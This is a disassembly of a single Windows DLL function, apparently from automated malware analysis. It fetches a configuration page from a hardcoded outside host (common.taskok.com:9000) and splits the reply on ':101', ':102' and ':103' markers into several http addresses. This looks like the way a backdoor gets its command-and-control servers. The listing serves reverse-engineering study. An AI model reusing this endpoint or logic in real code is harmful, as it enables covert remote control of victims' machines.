Function at 0x10002e20
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10015c93
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1001c17c]
xor eax, esp
push eax
lea eax, [esp + 0xb4]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [edi + 0x38]
xor ebx, ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
or dword [esp + 0x34], 2
lea ecx, [esp + 0x3c]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], esi
mov dword [esp + 0x38], 0xbb8
call fcn.10006960
mov eax, dword [0x1001d1e4]
mov edx, dword [eax + 0xc]
mov ecx, 0x1001d1e4
mov dword [esp + 0xbc], ebx
call edx
lea esi, [eax + 0x10]
mov dword [esp + 0x1c], esi
lea ebp, [edi + 4]
push ebp
mov dword [esp + 0x28], ebp
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [esp + 0x28], 1
mov byte [esp + 0xbc], 2
cmp dword [esp + 0xc4], ebx
jne 0x10002eeb
mov eax, dword [edi + 0x1c]
cmp dword [eax - 0xc], ebx
je 0x10002eeb
push ebp
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [esi - 0x10]
mov byte [esp + 0xbc], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x1000324d
push ebp
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x30]
push edx
push str.http:__common.taskok.com:9000_Service_ServerConfig.aspx
lea ecx, [esp + 0x48]
mov dword [esp + 0x34], ebx
call fcn.10007760
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x10002f57
lea eax, [esi - 0x10]
mov byte [esp + 0xbc], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002f3a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x3c]
mov dword [esp + 0xbc], 0xffffffff
call fcn.100069d0
mov eax, dword [esp + 0x14]
jmp 0x1000326f
mov edx, dword [esp + 0x20]
cmp edx, ebx
jne 0x10002f63
xor eax, eax
jmp 0x10002f7f
mov eax, edx
lea esi, [eax + 2]
jmp 0x10002f70
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10002f70
sub eax, esi
sar eax, 1
push eax
push edx
lea ecx, [esp + 0x24]
call fcn.10001b60
mov ecx, dword [esp + 0x20]
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push ebp
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [esp + 0x20]
push edx
mov dword [esp + 0x2c], 1
call fcn.1000ae27
mov ebx, dword [esp + 0x20]
add esp, 4
mov dword [edi + 0x3c], eax
cmp dword [ebx - 0xc], 0
jl 0x10002fdb
push str.:101_
push ebx
call fcn.10009c92
add esp, 8
test eax, eax
je 0x10002fdb
sub eax, ebx
sar eax, 1
mov esi, eax
cmp esi, 6
jge 0x10003024
push ebp
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [ebx - 0x10]
mov byte [esp + 0xbc], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10003006
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x3c]
mov dword [esp + 0xbc], 0xffffffff
call fcn.100069d0
mov eax, 0xfffffc13
jmp 0x1000326f
lea ecx, [esi - 5]
push ecx
push 5
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0x28]
call fcn.10001d50
push eax
lea eax, [esp + 0x18]
push str.http:__
push eax
mov byte [esp + 0xc8], 3
call fcn.100028c0
add esp, 0xc
lea ecx, [edi + 0x1c]
push eax
mov byte [esp + 0xc0], 4
call fcn.10001e90
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0xbc], 3
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000308c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov byte [esp + 0xbc], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x100030b4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 5
mov eax, dword [ebx - 0xc]
js 0x100030dd
cmp esi, eax
jg 0x100030dd
lea ecx, [ebx + esi*2]
push str.:102_
push ecx
call fcn.10009c92
add esp, 8
test eax, eax
je 0x100030dd
sub eax, ebx
sar eax, 1
mov ebp, eax
jmp 0x100030e0
or ebp, 0xffffffff
mov edx, ebp
sub edx, esi
push edx
push esi
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x28]
call fcn.10001d50
push eax
lea ecx, [esp + 0x1c]
push str.http:__
push ecx
mov byte [esp + 0xc8], 5
call fcn.100028c0
add esp, 0xc
lea ecx, [edi + 0x20]
push eax
mov byte [esp + 0xc0], 6
call fcn.10001e90
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov byte [esp + 0xbc], 5
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x10003148
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0xbc], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10003170
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebx - 0xc]
lea esi, [ebp + 5]
test esi, esi
jl 0x10003199
cmp esi, eax
jg 0x10003199
lea ecx, [ebx + esi*2]
push str.:103_
push ecx
call fcn.10009c92
add esp, 8
test eax, eax
je 0x10003199
sub eax, ebx
sar eax, 1
jmp 0x1000319c
or eax, 0xffffffff
sub eax, esi
push eax
push esi
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x28]
call fcn.10001d50
push eax
lea eax, [esp + 0x1c]
push str.http:__
push eax
mov byte [esp + 0xc8], 7
call fcn.100028c0
add esp, 0xc
lea ecx, [edi + 0x24]
push eax
mov byte [esp + 0xc0], 8
call fcn.10001e90
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov byte [esp + 0xbc], 7
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10003202
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0xbc], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000322a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [ebx - 0x10]
mov byte [esp + 0xbc], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x10003259
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x3c]
mov dword [esp + 0xbc], 0xffffffff
call fcn.100069d0
xor eax, eax
mov ecx, dword [esp + 0xb4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xac
ret 4